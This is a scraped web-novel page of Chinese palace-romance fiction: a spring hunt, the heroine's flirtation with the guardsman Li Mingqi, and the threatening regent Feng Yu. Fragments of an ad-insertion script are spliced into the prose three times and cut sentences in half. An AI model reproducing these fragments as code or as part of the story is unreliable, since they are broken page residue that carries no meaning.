"2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做未来的皇后来得尊贵? 绿沈会意,笑着与谢灵越说道:“只怕府君这会儿不得空。” “春猎事关重大,陛下不放心旁人,便把事情全部交给府君处理。” 绿沈道:“如今附近不仅要忙廷尉府的事情,还要分心去管秋猎,忙得饭都没时间吃呢。” “县君,您若是心疼府君,便先让府君忙完这几日,待他得了空,再与他说您与太子的婚事,如何?” 一旁的雪信温柔开口,跟着劝道。 她当然心疼九叔。 怕九叔没时间吃饭,还特意下厨做了山药芙蓉糕给九叔补身体呢。 谢灵越道:“呃.....退婚的事情先放一放,先不要打扰九叔了。” 婚是一定要退的,只是时间的早晚罢了。 既如此,她又何必在九叔忙得焦头烂额的时候去烦九叔? 还是等九叔忙完之后再说。 谢灵越不再闹着找谢慎之,银丹这才松了一口气,感激地看向绿沈与雪信。 ——还是她们有办法,能不着痕迹劝县君改了主意。 “左右无事,咱们先去找李鸣岐。” 谢灵越看向不远处的李鸣岐,两眼亮晶晶。 李鸣岐已结束排演,彼时正在与同僚们说话。 一边说话,一边往她的位置看过来,待看到她仍在看他,他便笑了起来,少年意气格外耀眼。 谢灵越看得心软软。 “李鸣岐排演完了便无事了,刚好可以带我去打猎。” 谢灵越道。 “......” 怎么还是绕不开李鸣岐呢? 银丹瞬间垮了脸。 也不知道这个李鸣岐哪里好,竟让县君对他如此钟情。 银丹低头去瞧。 作为妆点天子门面的亲卫,羽林卫无论是才干还是相貌都是万里挑一,随便拉出一个亲卫来,都是骑射过人剑眉星目的,是金陵城女郎们梦中的情郎模样。 可就是这样一群天之骄子,当李鸣岐站在他们面前,他们便成了土鸡瓦狗,全部沦为李鸣岐的陪衬。 不得不承认,李鸣岐的这张脸的确生得好。 天日之表,龙章凤姿,除却府君外,再无人能在相貌上与他平分秋色。 素来喜欢漂亮皮囊的的县君瞧上他,着实不让人意外。 银丹长长叹气,“县君,府君不喜欢您与李鸣岐有过多接触。” “九叔不喜欢,我便不做了吗?” 谢灵越轻哼一声,骄纵说道:“九叔何时能管得住我了?” “......” 管不住,从来管不住。 哪怕您想要天上的月亮,府君都会搬了梯子替您去摘月。 银丹只好道:“罢了。” “县君要早去早回,莫让府君知晓了。” “放心,只要你们不说,九叔才不会知道我偷偷去找李鸣岐。” 谢灵越道。 九叔虽待她极好,可对她身边的人却极为严厉。 她说错了话,做错了事,九叔从来不罚她,只罚伺候她的人。 这种行为简直坏透了! 哼,等她得了空,定要寻一个比九叔更严格的婶娘来管九叔,让他再不能对她指手画脚。 只是不知什么样的婶娘才能管得住九叔? 是骄纵蛮横的?还是外柔内刚的?又或者说才华斐然的? ——不管是什么样的,只要能管得住九叔,那便是她的亲亲婶娘! 谢灵越被自己逗笑了。 有眼色亲卫们早已备好了战马与弓弩,在凤阙下待命。 谢灵越走下凤阙,着人去唤李鸣岐。 李鸣岐说笑的同僚拿手肘撞了李鸣岐,皱眉提醒道:“你小子注意点,昌平县君是陛下选为太子妃的人。” “县君传唤,我能有什么办法?” 李鸣岐笑道。 他抬头,看到少女早已换上薄甲,在亲卫们的簇拥下试着自己的宝雕弓。 距离有些远,他看不清她面容,只看到她薄樱色的衣袖裹着熠熠生辉的银甲,缀着宝石的抹额勒着她的长发,那是长于最顶级权势之下的玫瑰,亦是金陵城最耀眼的明珠,注定要落在下一位执掌天下的人的掌中。 那个人永远不会是他。 但他却胆大包天,竟想将明珠私藏。 少年意气是初升的朝阳,热烈勇敢,不计代价。 李鸣岐翻身上马。 马蹄卷起黄尘,周围的旌旗向他身后飞快掠去,而凤阙之下的谢字小旗,却在他眼底越发清晰。 “灵越,我来了!” 少年朗笑开口,对心上的姑娘说道。 4. 第 4 章 第四章 少年策马而来,英姿勃发。 须臾间,他已来到凤阙下,战马打着旋停下,向前俯冲的惯性卷起身后猩红色的披风,裹着银甲往谢灵越面前拥,仿佛要将她也裹在里面似的。 谢灵越最爱他这副意气风发模样。 赤诚直白,热烈勇敢,心事全部写在脸上,不像九叔似的,做什么事情全部靠她猜。 “怎么才来?让我好等。” 谢灵越嗔道。 李鸣岐笑了起来。 他来得很快的。 侍女刚来传话,他便纵马过来了,而彼时传话的侍女,这会儿还在羽林卫那里呢。 ——灵越是在向他撒娇。 李鸣岐笑着赔不是,“我的错,不该在那边耽误的。” “好吧,看你认错态度好,我这次便原谅你了。” 谢灵越忍笑说道。 李鸣岐拱手,极为正式道:“多谢县君大人大量。” 县君二字说出来,谢灵越便再也忍不住了,花枝乱颤笑起来。 “李鸣岐,你少拿糊弄杨守勤的那套来糊弄我。” 谢灵越笑道。 李鸣岐如临大敌,“灵越,且小声些,别让杨将军听到了。” 一边说,一边左顾右盼,仿佛生怕这话传到杨守勤的耳朵似的。 谢灵越脸色微变,连忙捂嘴。 李鸣岐与自己不一样,他没有那么显赫的出身,他处处要看别人的脸色。 她方才的那句话对她来讲不痛不痒,可对于李鸣岐来讲,却足以让他好不容易盼来的仕途到此终止。 谢灵越眼睛随着李鸣岐的视线左看右看,唯恐杨守勤在自己身边突然出现,听到了她的那些话。 谢灵越小声说道:“我的声音并不大,应该不会让他听到——” 话未终,便见李鸣岐抿唇轻笑,似是在笑她的单纯。 她不明所以,看着李鸣岐的眼睛眨了眨。 “天不怕地不怕的昌平县君何时变得这般胆小?连话都不敢说了?” 少年笑着来刮她鼻梁,“放心,我的仕途才不会因为你的一句话而影响。” “李鸣岐......你!” 谢灵越这才意识到自己又一次被李鸣岐戏耍了。 她抬手排掉李鸣岐落在她鼻梁上的手,“好啊,李鸣岐,你居然拿这种事情来逗我?” “你太过分了!” 谢灵越生气说道。 “别生气嘛。” 李鸣岐收回手,“我只是与你说笑罢了,怎就气成这样了?” 谢灵越把脸扭在一边,不想去理他,“哪有拿这种事情来说笑的?” 羽林卫被削权之后不如从前,宗亲士子们做不做羽林卫没什么重要的。 可李鸣岐不一样,他身后没有强大的家世为他兜底,如果再失去羽林卫这个职位的话,只怕更加难在朝堂立足。 “我的错,我不该拿这种事情与你玩笑。” 李鸣岐追上谢灵越,一叠声认错。 但被众星捧月长大的县君岂是那般好哄的? 她才不理李鸣岐,李鸣岐刚骑马追上来,她便抽鞭疾行,与李鸣岐拉开距离。 这人简直坏透了!竟拿这种事情来说笑。 气鼓鼓的谢灵越纵马疾驰。 李鸣岐乐不可支。 ——气性真大。 没关系,他会哄。 李鸣岐轻夹马腹,再次追上谢灵越。 但这一次,他没再跟方才一样赔礼道歉,而是不紧不慢跟在谢灵越右侧,大手一挥,挡住她的视线。 “挡我眼睛做什么?” 谢灵越不悦皱眉。 横在她面前的胳膊微松,掌心舒展开来,一只被少年手指夹着的绿色蛐蛐出现在她面前。 “大将军?” 谢灵越眼前一亮,伸手便去拿被李鸣岐夹在手里的蛐蛐。 可她还没抓到蛐蛐,少年的手便收回了,紧接着,是少年揶揄轻笑的声音在她身边响起,“不是在生我的气么?拿我东西做什么?” “当然生你的气了。” 谢灵越轻哼。 话毕,不等李鸣岐反应过来,她便去捉李鸣岐的手。 一手按着他手腕,另一只手去夺他手里拿着的蛐蛐。 少年似乎是没有想到她竟会如此不讲理,更不曾防备她来抢,一句话的功夫,手里的蛐蛐便被她取走了。 “生气归生气,但大将军还是要的。” 谢灵越笑道。 她拿着绿色蛐蛐,隔空对着李鸣岐晃了晃。 耀武扬威的时候又提防着李鸣岐来抢,还拿另外一只手护着。 李鸣岐只好哀叹,“县君越发刁蛮了,连我的蛐蛐都要抢。” “这才不是蛐蛐,这是草。” 谢灵越却道。 当然是草。 哪有蛐蛐是绿色的? 只是编得活灵活现的,与她的大将军极像,她这才抢了来,聊表她的大将军被大将军封余一脚踩死后的怀念之情。 “县君的大将军那么威风,莫说东市了,只怕整个金陵城也再也寻不到第二个。” 李鸣岐道:“小子无能,便只好用草叶给县君编一个,不知县君是否喜欢。” 说完话,又学着那些攀附谢灵越的人,规规矩矩在马背上向谢灵越行礼,模样认真又滑稽。 “县君很喜欢。” 谢灵越被他逗笑了,忍着笑说道。 李鸣岐道:“县君既然喜欢,便不可再生小子的气了。” “去你的。” 谢灵越推了下李鸣岐,“别一口一个县君一口一个小子的,我的耳朵都快被你叫坏了。” 李鸣岐总是这样,故意惹她生气,然后又花样百出逗她笑,只要与他在一起,她的心情便像是在马背上奔驰,永远跌宕起伏,忽上忽下的。 李鸣岐道:“县君有命,不敢不尊——” “恩?还叫县君?” 谢灵越挑眉看李鸣岐。 李鸣岐莞尔,“灵越。” “这才对嘛。” 谢灵越满意点头。 谢灵越拿着蛐蛐,举在阳光下。 二月的风拂面而过,也浮动着她掌心的蛐蛐。 蛐蛐的翅膀随风而动,仿佛是她的大将军活过来了一般。 不学无术的贵族们喜欢走鸡斗狗,她也一样,喜欢斗蛐蛐。 东海王世子的蛐蛐取名“定北侯”,取北伐中原,军功封侯的意思。 她的书远不如东海王世子读得多,也懒得取什么寓意深厚的名字,便一力降十会,给蛐蛐取名大将军,意思是再怎样厉害的将军,也要屈居大将军之下,受大将军的统领。 ——再说直白一点,便是东海王世子的“定北侯”肯定斗不过她的大将军! 可传着传着,她跟东海王世子的蛐蛐便传变了味道。 一个军功封侯又怎样,还不是做他手里的蛐蛐? 另一个便更严重了,说她为了侮辱刚从大将军加九锡封王的封余,特意给自己的蛐蛐取名大将军。 这就是活生生的污蔑了。 封余已凑够谋反三件套,即剑履上殿、入朝不趋、谒赞不名,离谋朝篡位只差最后一步的弑君,她还用得着污蔑他? 她见识浅薄,没见过在闹市上弑君的司马昭是何模样,但见如今把谋反俩字写在脑门上的封余,便知自己那在皇位上战战兢兢的舅舅与被当街捅死的曹髦差不离。 ——万事俱备,只差一个成济来送她舅舅归西。 她的大将军惹了封余的眼,在跟东海王斗蛐蛐的时候被封余一脚踩死,气得她当场便抽了东海王世子的佩剑,要给自己的大将军报仇。 如果不是东海王世子死死拦住她,如果不是她实在不是封余的对手,否则封余定会被她斩了头颅,去给她的大将军陪葬,而不是冷冷看着她,说你比你母亲差了千百倍。 笑话,拿母亲来攻击她? “我比不上我母亲怎么了?你不是一样比不上我母亲吗?” 她反唇相讥,“都是不及我母亲的人,谁还比谁高贵了?” 封余气结,拂袖离去。 而她倒霉的大将军,也就此魂入黄泉,再不能在东海王世子面前耀武扬威。 虽然后来得知消息的九叔狠狠报复了回去,让封余谋朝篡位的皇帝梦梦了一半便就此打住,捏着鼻子憋憋屈屈继续装臣子,但她的大将军却活不过来了,连带着她连蛐蛐都不想斗了。 谢灵越拿着蛐蛐,越看越喜欢,“你这只蛐蛐是怎么编出来的?” “怎么这么活灵活现的?跟我的大将军几乎一模一样。” “这个不难。” 李鸣岐道:“只要心里想着,自然便能编出来了。” “你要学吗?我可以教你。” 李鸣岐笑着道。 谢灵越点头,“好呀,我想学。” “我就知道你想学。” 李鸣岐道。 他取下挂在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 马背上的巴掌大的小行囊,从里面拿出几片叶子来,自己留一条,递给谢灵越一条。 “用这个编。” 李鸣岐道。 谢灵越把蛐蛐递给雪信,接过李鸣岐递过来的叶子。 叶子质地有些硬,与编好的蛐蛐完全不一样。 她毫无防备地拿在手里,一下子便把手指给割破了。 “嘶——好疼。” 谢灵越惊呼出声。 李鸣岐吓了一跳,“怎么了?” 侍女们连忙围了过来。 谢灵越摊开手,被叶子割破的手指正在往外面溢血,伤口并不大,却疼得她眼圈都红了。 ——她哪里受过这样的伤? “哪里就这么疼了?” 李鸣岐忍不住笑了起来。 话虽这样说,但动作却极快,第一时间便从自己的行囊里取来伤药与绷带,把东西递给侍女,让侍女们给谢灵越包扎伤口。 银丹婉拒李鸣岐的好意,“多谢二郎,我们带的有伤药。” 李鸣岐点点头,便又把伤药收回去,给侍女们让出位置,看侍女们轻手轻脚给谢灵越包扎伤口。 “唉哟,轻点。” 伤药洒在伤口上,谢灵越轻呼出声。 侍女的动作更加轻柔。 “你呀,简直是面团捏的人,纸面糊的美人灯。” 李鸣岐看得又心疼,又好笑,“别说受伤了,只怕一阵风吹过来,你就先倒了。” 谢灵越道:“你还好意思说我?” “我这样还不是你害的?” “好,都是我害的。” 李鸣岐道目不转睛地看着雪信给谢灵越包扎伤口,声音软了下来,“一会儿我再给编十只蛐蛐,好不好?” 谢灵越轻哼一声,“这才差不多。” 但她会被叶子割伤手指,李鸣岐就不会吗? 下意识间,谢灵越去看李鸣岐的手。 习武之人虎口之处有薄茧,少年也一样。 但与习武之人不一样的是,少年不止虎口之处有薄茧,其他地方的茧子也不少,那时事事亲为留下的痕迹,无声昭示着他与她的不一样。 这样的手谈不上养尊处优,但却修长有力,绝不是太子乃至东海王世子那种习武练剑便会磨破皮的绣花枕头似的手。 这样的手不容易受伤,更不容易在上面留下细小的伤口。 但现在,那双手上却有着不易察觉的小伤口,不是习武之际留下的,而是被什么锋利的东西划破的。 ——为了给她编蛐蛐而被质地坚硬的叶子划破的。 谢灵越一下子心疼起来,“不,我不想要蛐蛐了。” “不想要了?” 李鸣岐有些奇怪,“为什么?” 谢灵越看着他的手,不说话。 李鸣岐明白了,这是在心疼他呢。 “这不算什么,又不疼。” 李鸣岐摆摆手,浑不在意,“我皮糙肉厚的,伤不到的。” 他看着被雪信包成粽子似的谢灵越的手,心里有些内疚,“倒是你,你的手嫩得跟豆腐似的,今日割伤了,怕是要好几日才能养回来。” “咱们今日就不去打猎了。” 李鸣岐道:“你先养手,等你的手养好了,我再带你去打猎。” 这怎么能成? 明日舅舅出行,作为亲卫的李鸣岐只怕忙得脚不沾地,哪还有时间来陪她打猎? “不行不行,我就要今日去打猎。” 谢灵越摇头道:“我的手不碍事的,不影响打猎的。” 她晃动着包好的手指,想向李鸣岐证明。 可她娇气得很,手指刚刚弯曲,被割破的疼便像针一样扎在手指上,她瞬间变了脸色,忍不住惊呼道,“嘶......” ——还是疼的。 李鸣岐又好笑,又心疼。 “罢了罢了,你别动手了。” 李鸣岐道:“想要什么?我猎给你。你在我后面跟着便好了,什么都不要做。” 这才对嘛。 打猎有什么好玩的?她想看的,是李鸣岐英姿飒爽的骑射功夫呀! 谢灵越当下便笑了起来,“白狐。” “我想要猎只白狐养着玩。” “白狐?好,我给你捉活的。” 李鸣岐笑道。 “啧。” 密林里突然传来一声轻叹,“太子殿下,咱们的这位昌平县君看来不止想要您的白狐,还想要别人的白狐。” 5. 第 5 章 第五章 谢灵越听到声音不悦皱眉。 这声音不是她最讨厌的封余么? 今日怎么一反常态,不做谋反篡位的事儿,反而来阴阳怪气她? “真稀奇。” 谢灵越道:“喜欢对人喊打喊杀的大将军怎么突然关心起白狐了?” “可惜,你关注的点错了,我才没有收到太子表兄的白狐。” 谢灵越把封余阴阳怪气的话重新阴阳怪气回去,“如果收到了,我还要李鸣岐给我猎白狐做什么?” 李鸣岐微讶,压低声音道:“太子殿下昨日猎到的白狐没有送给你?” “?” 表兄猎到了白狐? 谢灵越狐疑看李鸣岐。 李鸣岐神色莫名复杂,有些替谢灵越不值。 ——那么一张好皮子,不送给灵越送给谁? 太子李珪曲拳轻咳,骑马从密林中走出,声音略显尴尬,“舅舅,我昨日猎到的白狐送给了母后,没有送给灵越妹妹。” 声音不大不小,恰好能让谢灵越听到。 解释给封余听,但更是解释给谢灵越听。 送给皇后殿下了?那就没问题了。 李鸣岐道:“太子殿下乃至孝之人。” “原来表兄是送给了皇后殿下。” 谢灵越轻笑一声,揶揄说道:“如果表兄送给了别人,我还能哭一哭闹一闹,可既然是送给了皇后殿下,那我便无话可说了。” “我再怎样不懂事,也不敢让表兄做不孝之人。” 谢灵越道:“大将军,您这下不能说我贪心不足了。如果那条白狐到了我手里,我何至于求着李鸣岐来帮我猎白狐?” “唉,到底是我比不得皇后殿下,能让表兄亲自为我猎白狐,便只好退而求次,让李鸣岐帮我猎了。” 谢灵越一唱三叹。 “......” 他怎么记得长公主并不牙尖嘴利来着? 谢灵越这得力不饶人的脾气是像了谁? 封余眼底闪过一丝不耐。 李鸣岐忍俊不禁,但手指却轻轻扯了下谢灵越衣袖。 见好就收,别把这位大将军惹恼了。 如今是多事之秋,没必要在口舌上与他去争锋。 谢灵越轻哼一声,不情不愿听了李鸣岐的无声规劝。 哼,她才不是怕封余呢,她只是不想给九叔找麻烦。 九叔已经忙得连饭都吃不成了,她不能在这个时候给九叔添乱。 李鸣岐拱手向太子与封余见礼,“见过太子殿下,见过王爷。” 太子微颔首,神色温和。 封余冷哼一声,态度虽算不得好,但也不算差。 上一次拦着谢灵越不让谢灵越与他起争执的人是东海王世子,被他踩断了腿骨,在床上养了小半年,如今见了他如同耗子见了猫。 与东海王世子相比,他对李鸣岐的态度不可谓不好。 谢灵越还记得东海王世子的惨状,她不怕封余为难她,只担心封余为难李鸣岐。 东海王世子背后有东海王撑腰都落了腿骨尽碎的下场,李鸣岐身后空无一人,岂不是更容易被封余欺负? 谢灵越不想与封余过多纠缠。 “表兄,若无事,我便先走了。” 谢灵越笑着对太子道:“皇后殿下有白狐,我还没有呢,我也想养一只玩玩。” 太子莞尔,“多大的人了,还跟小孩儿似的?” “可是,我就是想养一只白狐嘛。” 谢灵越眨巴着眼。 太子有些无奈,“孩子气。” “狐狸不似狸奴温顺,鸣岐,你要保护好灵越,莫让狐狸伤了她。” 太子嘱咐李鸣岐。 谢灵越欢喜道:“我就知道太子表兄最好了!” 李鸣岐眉梢微挑。 不知道是不是他的错觉,他总觉得,太子殿下并不反感他与灵越相处。 不仅不反感,甚至还会顺水推舟,让他与灵越多相处,仿佛巴不得他们日久生情似的。 这不是男人对待心上人会有的态度。 李鸣岐眉头微不可查地蹙了一下。 ——灵越这么好,太子竟不喜欢她么? 李鸣岐下意识向谢灵越看去。 少女的衣服是薄樱色,而脸色是瓷白色,是最好的画师都调不来的颜色。 有着如此好颜色,单是往那一站,便是叫人脸红心跳的存在。 可偏偏,她的眉眼也生得极好,弯弯的眉,杏仁似的眼,精巧的鼻梁比普通女郎要高些,便将她略显骄纵的性子从面上带出来,单是瞧着她面容,便知这是一位长着刺儿的玫瑰。 太子不喜玫瑰上的刺儿? 大抵是的。 这些含金汤勺的人个顶个的坏脾气,哪肯委屈自己跟他一样伏低做小去哄人? 李鸣岐笑了一下。 太子不愿意哄? 没关系,他愿意哄。 那般娇媚鲜妍的花儿,本就该长些硬刺来相称。 可转念又一想,这大概是封余在一旁的缘故。 封余本就忌惮太子娶灵越,得了灵越九叔的庇护,如今在封余在身侧,太子自然不好与灵越太过亲密,待封余走后,太子仍以灵越未婚夫的身份自居。 无妨。 无论太子是哪一种,都不会改变他对灵越的心意。 “殿下放心,臣定会给县君寻最温顺的白狐,绝不会让它们伤了县君。” 李鸣岐拱手答道。 太子含笑看着对李鸣岐,对他很放心,“去吧,照顾好灵越。” 这话儿怎么像托孤? 李鸣岐狐疑地看了太子一眼。 “李鸣岐,走啦。” 谢灵越骑着马,哒哒往前走。 正催促李鸣岐间,她忽地撞上封余的视线。 纵横沙场二十余载的宿将自然是极魁伟也极威武的,单是不拿刀剑跨坐在马背上,也是让人望之生畏的杀神。 而他早年在战场上伤了眼,左眼处带着一只绣着蟠龙纹的眼罩,狰狞的伤疤从眼罩掩不住的下方稍稍透出,让他本就压迫性极强的气势里更添压迫性。 与这样的一双眼睛对视,谢灵越心里莫名发毛,立刻移开视线,催马离开。 她走得快,自然没有发现身后的封余眸色幽深,目光仍落在她身上。 “舅舅不喜灵越?” 太子眉头微不可查地蹙了一下。 封余收回视线,凉凉看向太子,“殿下已加冠,准备何时迎娶昌平县君?” “舅舅,此时轮不得我做主。” 太子笑了一下,“我的婚事,当由舅舅母后与父皇来商议。” “只是谢九有帝佐之才,又是长公主亲自做主入嗣谢家的儿郎......” 话音刚落,又停顿,“舅舅,您会高抬贵手吗?” 封余冷哼一声,“殿下,成大事者不可有妇人之仁。” “舅舅教训得是。” 太子温顺点头。 “皇后殿下请大将军过去一趟。” 亲卫看了眼太子道。 太子眉眼微扬,笑了起来,“母后找舅舅?” “正好,我此时无事,与舅舅一同去拜见母后。” “你先去,我随后便到。” 封余道。 太子微颔首,调转马头,去往皇后的宫苑。 待他身影彻底消失在丛林,亲卫这才压低声音道:“大将军,事情已办妥。” “很好。” 封余面上冷意瞬间削减。 ——这场自李睿阳死后便再无宁日的权柄之争,是时候画上一个句号了。 · 封余的突然出现没有影响少年们春猎的兴致。 李鸣岐道:“灵越,白狐极为少见,如果我没有猎到白狐,你不能怪我。” “我不管,我就要白狐。” 谢灵越声音骄纵。 李鸣岐笑着认输,“好吧,白狐就白狐。” “等猎到了白狐,你真的要养着么?” 李鸣岐道:“太子殿下说得不错,这东西野性难驯,若是养不好,怕是会伤了你。” “不如这样,我猎只小的先养着,等我养好了,养乖了,再给你送过去,好不好?” 李鸣岐回头看谢灵越。 谢灵越只是笑,“好呀,那就等你调/教好了再送我。” 今日的灵越怎么这般好说话? 李鸣岐眉头微动,有些意外。 谢灵越忍不住笑了起来,“李鸣岐,你不用这么紧张的,我才没觉得丢面子。” “封余杀人不眨眼,我在这样的人面前仓皇逃命有什么丢人的?” 谢灵越问李鸣岐,“倒是你,李鸣岐,你不怕我连累你么?” “东海王世子对他没有任何不敬,只是陪我斗了场蛐蛐,便被他踩断了腿骨。” 谢灵越看向李鸣岐的腿,“李鸣岐,你不怕么?” 你没有东海王的庇佑,更没有显赫的身世让封余投鼠忌器,你不怕被封余踩断腿骨甚至碎尸万段么? 一个连皇帝都能随意拿捏的权臣,杀死一个羽林卫如同碾死一只蚂蚁一样简单。 “为什么要怕?” 李鸣岐道,“他若想取我性命,直接来取就是,我有什么好怕的?” 彻底将封余与太子抛在身后,李鸣岐才逐渐放慢速度,看着谢灵越因一路疾驰而生出薄汗的面容,蓦地想起剥了壳的荔枝,晶莹剔透,十二分的美丽。 李鸣岐心中一荡,险些脱口而出——为你而死,有何惧哉? 但是他不能。 他是早已没落的宗室之后,靠着谢灵越的面子才做了太子伴读,做了羽林卫,这样一个毫无根基的他,配不上天地间最钟灵毓秀的明珠。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李鸣岐掐了下掌心,强迫自己移开视线。 “我只是觉得,你这样不大好。” 李鸣岐道:“封余虽忌惮谢廷尉,可如果把他气狠了,他未必不会对你下手。” “灵越,封余跟咱们不一样,他是尸山血海里走出来的人,不习孔孟道,不思报国恩,只认自己手里的那把刀。” 李鸣岐无不担忧道:“如果把这样的人逼急了,他什么事情都会做得出来。” 谢灵越眨了下眼。 ——李鸣岐好像在担心她。 担心她就对了。 她这么好的一个姑娘,他怎会不动心? “你放心,我才没有那么傻,去故意激怒封余让封余来找我的麻烦。” 谢灵越笑眯眯说道:“我之所以这么做,是因为封余想让我这么做。” “封余早有不臣之心,他如今所做的一切,都是为了他日后的大业。” 谢灵越道:“一个只知道打打杀杀的武夫能掌天下兵,却掌不得天下权,只有天下宾服,四海归心,他才能得偿所愿,为九州天下主。” 谢灵越道:“所以现在的他,需要礼贤下士,需要周公吐哺,需要向天下人证明,他不仅比舅舅贤明,还比舅舅宰相肚里能撑船,唯有这样,他才能让天下认可他,让舅舅乃至百官臣服于他。” “所以我无论怎样气他,他都不会与我一般见识。” 谢灵越下巴微抬,十分骄傲,“毕竟我只是一个小女子,他如果连一个小女子都容不下,还容什么三公九卿文臣武将?” 李鸣岐抬手掐了下眉心,“你说的道理我都懂,但我还是担心你。” “灵越,你难道忘了被封余踩断腿骨的东海王世子?” 李鸣岐道,“他可是什么都没做,只因跟你斗了一场蛐蛐,便被他险些踩成残废。” “封余行事如此残忍......” 李鸣岐剑眉微蹙,眼底满是担心,“灵越,我着实担心你。” “你呀,就把心放回肚子里吧。” 谢灵越笑道:“东海王世子是东海王世子,我是我,我怎会跟他一样?” “你难道忘了,他姓李,而我姓谢?” 谢灵越一针见血,“这天下是姓李还是姓封,虽与我有关系,但也没那么大的关系。我不是我阿娘,会为了不属于我的东西拼上自己的性命。” 她又没有继承权,那么拼命做什么? 差不多得了,犯不着把自己的性命搭上去。 无论谁当皇帝,都需要提拔臣子治理天下。 只要治理天下,便少不了她九叔,只要九叔被重用,那么她的尊荣生活,便会一直持续。 她以前的尊荣是因为阿娘。 但自从阿娘死后,九叔官职的高低,才决定着她是否能横行无忌。 与什么给不了九叔任何支持帮助的天子舅舅相比,她觉得指不定封余坐上那个位置会更好。 而封余坐上那个位置之后,她的待遇会更好,甚至还被封为公主。 ——毕竟是个左右不了朝局但却能向天下昭示自己宽厚仁德的吉祥物,封余但凡有点脑子,都会极为优待于她。 而封余,也确实有这种脑子。 一个能在短短半年内便从两位辅政大臣中将军权夺走的武将,绝不是一个粗鄙愚笨的莽夫。 是的,没错,阿娘苦心孤诣将四叔五叔塞进辅政大臣里,却不到半年便被封余拿下,可见大虞朝的确气数已尽,莫说皇帝远不及先人了,连辅政大臣的才干都低到令人发指。 她为大虞先祖一大哭。 但哭完了,还得多想想自己。 阿娘为大虞熬尽最后一滴血,为大虞续命二十余年,该阿娘乃至与她的忠与孝,阿娘都尽了,作为阿娘独女的她,已没必要再赔上自己的一生。 又不是她的江山?她那么拼命做什么? 该抛头颅洒热血的,应当是那些争权夺利的王爷世子们呀! 比如说,被封余踩断腿的东海王世子。 但看他哪怕废了腿都没敢去寻封余的麻烦,可见也是个只想安享富贵的燕雀。 该在关键时刻充当顶梁柱的男人们尚且如此,她又何必去学阿娘的汲汲营营?没得熬坏了自己的身体。 在王朝更迭的事情上,谢灵越远比她阿娘看得通透,李鸣岐不说话,她便继续说:“我最大的心愿,是家人平安,而我——” 看了看面前的李鸣岐,后面的话她没有继续往下说。 她觉得,李鸣岐是明白的。 他那么聪明的一个人,肯能明白她话的意思的。 所以她笑了一下,轻轻扯了下李鸣岐的衣袖,红着脸小声问道:“而你什么呀?李鸣岐” 银丹瞬间警铃大作。 不对,这发展趋势不对! 府君说过了,县君是要做最尊贵的女人的,怎能被一个小小的羽林卫给拐跑了?! 6. 第 6 章 第六章 几乎没有任何犹豫,银丹说道:“这是自然。” “县君与二郎一起长大,有自幼扶持之情,二郎担心县君是应当的。” “莫说二郎了,就东海王世子与张家三郎也对县君极为上心。” 银丹努力把俩人的关系往友情的方面引,“这都是因为与县君一同长大的缘故,并无其他原因。” 县君千万别多想。 一个小小的羽林卫的正妻,哪比得上未来的皇后之尊? 谢灵越眉头轻蹙,“银丹,我没有问你,我问的是李鸣岐。” “......” 我这不是不想让李鸣岐回答么? 您若是被李鸣岐拐跑了,我们可怎么向府君交代啊? 银丹愁眉苦脸,向绿沈雪信与霁蓝投向求助的模样。 霁蓝面无表情。 ——她只负责县君的安危,不掺和县君的其他事情。 银丹便只好再看绿沈与雪信。 绿沈与雪信对视一眼,示意这事儿管不了。 府君都管不了的事情,她们如何能管? 且看李鸣岐如何作答。 李鸣岐是聪明人,亦是真心待县君好的人,应不会在一无所有的时候便与县君把话说开。 事实上,她们的确猜到了这位心比天高的少年的心,在自己什么都不是的情况下,让自己喜欢的姑娘嫁给自己显然是糟蹋姑娘的真心。 他舍不得。 李鸣岐嘴角抿成一条线,没有回答谢灵越的话。 他看到谢灵越正在看着他,双瞳剪水,温柔缱绻,仿佛在等他点头。 生平第一次,他突然有些无奈自己的出身。 如果他出身显赫,那他便能在谢灵越的注视下飞快点头,然后立刻找自己的父母,让父母去谢家提亲。 可是他没有。 他甚至连父母都没有,他是被叔父养大的,一个落魄得不能再落魄的宗室子。 李鸣岐把头扭在一边。 他何德何能能让灵越倾心于他? 受权势滋养而绽放的花儿,当在他权倾天下之际才能摘下。 ——他舍不得现在的谢灵越跟着他吃苦。 他不怕吃苦,多少苦他都能吃。 但他怎忍心让谢灵越与他一样,整日为生计发愁? 她那么漂亮的一个人,就应该锦衣华服,珠翠满头,而不是与他一样,身上连几件像样的配饰都没有。 李鸣岐张了张嘴,心里苦涩得很,“银丹姐姐说得不错。” “我的确与东海王世子张家三郎一样,因我们自幼便是玩伴,所以情意便比旁人深厚些,自然也比旁人更关心你一些。” 这个答案显然不是谢灵越想要的,“李鸣岐,你说谎。” “李鸣岐,你喜欢我,你喜欢未来的太子妃,你在觊觎太子的未婚妻。” 她看着李鸣岐的眼睛,说道。 李鸣岐的脸刷地红了起来,“灵越,这种顽话说不得。” “怎么?这是顽话吗?” 谢灵越笑,“李鸣岐,你敢不敢摸着你的良心说,你不喜欢我?你问心无愧,对我从未违背君臣之礼?” 李鸣岐的心一下子揪了起来。 他不敢看谢灵越的眼睛,只把脸侧在一边,看着不远处的花与草。 如今已是春二月,草吐绿,花吐苞,一派生机勃勃的好春光。 可惜,他的好春光不能在这个时候到来。 李鸣岐声音发干,违心说道:“我问心无愧。” 假的,他问心愧得很。 只是现在的他一无所有,有什么资格对谢灵越许未来? 谢灵越瞪大了眼,“你——” “灵越,你身份尊贵得很,一个普通的羽林卫配不上你。” 李鸣岐掐了下掌心,继续说道。 所以你能不能给我一点点时间,待我有了功名,再去登门求娶? 银丹几乎想拍手称快。 就,就是这样,狠狠自贬自己。 一个被削得只剩下负责天子出行的羽林卫,可太配不上她家县君了! 顿了顿,李鸣岐又想解释,“灵越,你——” 他的话尚未说完,便被气急了的小姑娘狠狠推了一把,“你什么?” “你以为你是什么?” 谢灵越语无伦次道:“像你这样的羽林卫,我想要多少便有多少,你以为我会很稀罕你?” 这话比他刚才的话更违心,李鸣岐叹了口气,慢慢把脸转过来。 刚回头,便见小姑娘瓷白色的脸此时竟隐隐泛着红,显然是气狠了。 李鸣岐顿时心疼起来。 “灵越,我不是这个意思。” 李鸣岐道。 但话刚开口,便又被谢灵越用力推了一下。 